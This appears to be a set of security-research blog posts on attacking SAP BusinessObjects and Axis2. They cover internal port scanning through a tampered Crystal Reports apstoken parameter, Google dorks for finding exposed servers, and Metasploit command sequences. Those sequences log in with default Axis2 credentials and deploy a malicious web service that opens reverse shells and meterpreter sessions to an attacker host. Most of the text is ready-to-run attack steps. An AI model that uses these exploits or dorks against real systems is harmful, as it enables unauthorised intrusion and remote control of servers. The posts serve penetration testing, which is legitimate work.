Internal Port Scanning via Crystal Reports

Another fun attack that willis and I found during our SAP BusinessObjects research is that we could do internal port scanning by using Crystal Reports.

The way this works is that when you browse to a Crystal Reports web application (http://hostname/CrystalReports/viewrpt.cwr) there are a few parameters which are used to communicate with the SAP services on the backend. The problem here is that these parameters are controlled by the user. Now a better way to do this is to provide a drop-down list or make all the configurations done by the server.

Now the user can modify the IP and port which the web application is trying to communicate with on the backend. By default the port is 6400. Now the ability to modify the IP and port is good. The next step is to map the responses to open and closed so that we could programmatically map out the internal network.

Here are a few nice Google Dorks:
inurl:viewrpt.cwr
filetype:cwr inurl:apstoken

Here is the resulting mapping :

http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal_ip_address:445@$TOKEN

Port Open Response:
# Unable to open a socket to talk to CMS $HOSTNAME:445 (FWM 01005)

http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal_ip_address:80@$TOKEN

Port Closed Response :
# Server $HOSTNAME:80 not found or server may be down (FWM 01003)

Lastly the only thing we need to do is to modify the IP and port to whatever we are trying to scan. This is faster than using BeEF’s JavaScript internal portscanning functionality and it doesn’t require client interaction. Pwn dem v0hns!

Enjoy!

Regards,
Jabra

Advertisement

Axis2 Deployer via REST

Update 12/06: Many kudos to Egypt for helping with exploit dev!

Last weekend at OWASP BASC 2010, I created another version of the Axis2 Deployer exploit which uses REST instead of SOAP. This is important because pentesters may need to exploit Axis2 via REST, since SOAP may be disabled in certain environments. This module will not work against SAP BusinessObjects since the dswsbobje.war module has the REST interface disabled by default. I have tested the module against Axis2 1.5.2.

The REST version of Axis2 Deployer Exploit module can be found here.

In essence this module adds more flexibility for everyone that is a pentesting an environment with Axis2.

Example usage:

use exploit/multi/http/axis2_deployer_rest
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


Enjoy!

Regards,
Jabra

Axis2 Deployer via SOAP

At OWASP AppSecDC @willis__ and I talked about several attacks against SAP BusinessObjects. SAP BusinessObjects uses a module known as dswsbobje.war to deploy the Axis2 interface. Axis2 is a web application interface for administering web services. The dswsbobje module deploys several SAP BusinessObjects web services. These web services allow for anyone that is using BusinessObjects to build integration with other systems in their environment. The problem is that SAP did not remove the functionality which would prevent a malicious attacker or XSS’ed admin from deploying a malicious web service. Worse yet is that they also left the Axis2 interface configured with default credentials and then they went ahead and forgot to mention this fact in their 1000+ pages administration guide. Perfect storm. “What’s the worst that could happen….?”

Axis2 and SAP’s dswsbobje module both use the default credentials to login to the web interface (admin / axis2). Metasploit already has a module to test for default Axis2 credentials.

We can use this against SAP BusinessObjects by using the following msfconsole commands:

use auxiliary/scanner/http/axis_login
set URI /dswsbobje/axis2-admin/login
set USERNAME admin
set PASSWORD axis2
set RHOSTS 192.168.33.128
run


After we have identified a target that has default Axis2 credentials, we can utilize these credentials to login and deploy a new malicious web service. The way this works is that Axis2 Deployer module creates a new web service (jar), uploads the web service by using the default Axis2 credentials and then makes a SOAP request to execute meterpreter.

The Axis2 Deployer Exploit module have been added to Metasploit svn so that anyone that runs into Axis2 in the future will be able to easily exploit the system. The Metasploit module uses the java/meterpreter or java/shell payloads.

Here is an example of using the Axis2 Deployer exploit module against SAP BusinessObjects:

use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload java/meterpreter/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j

For those running BusinessObjects SAP has provided a “fix” on their website (this site requires authentication).

For Axis2 that only difference is that the PATH is set to /axis2.

use exploit/multi/http/axis2_deployer
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


It’s important to keep in-mind is that java/meterpreter is not the same as windows/meterpreter and therefore has several limitations which make it less than ideal for anyone that is performing a penetration assessment. To get around this limitation, we can use the spawn_meterpreter script.


use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload windows/shell/reverse_payload
set AutoRunScript spawn_meterpreter
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


This script will cause Metasploit to execute a new instance of meterpreter automatically after the first session is opened.

Regards,
Jabra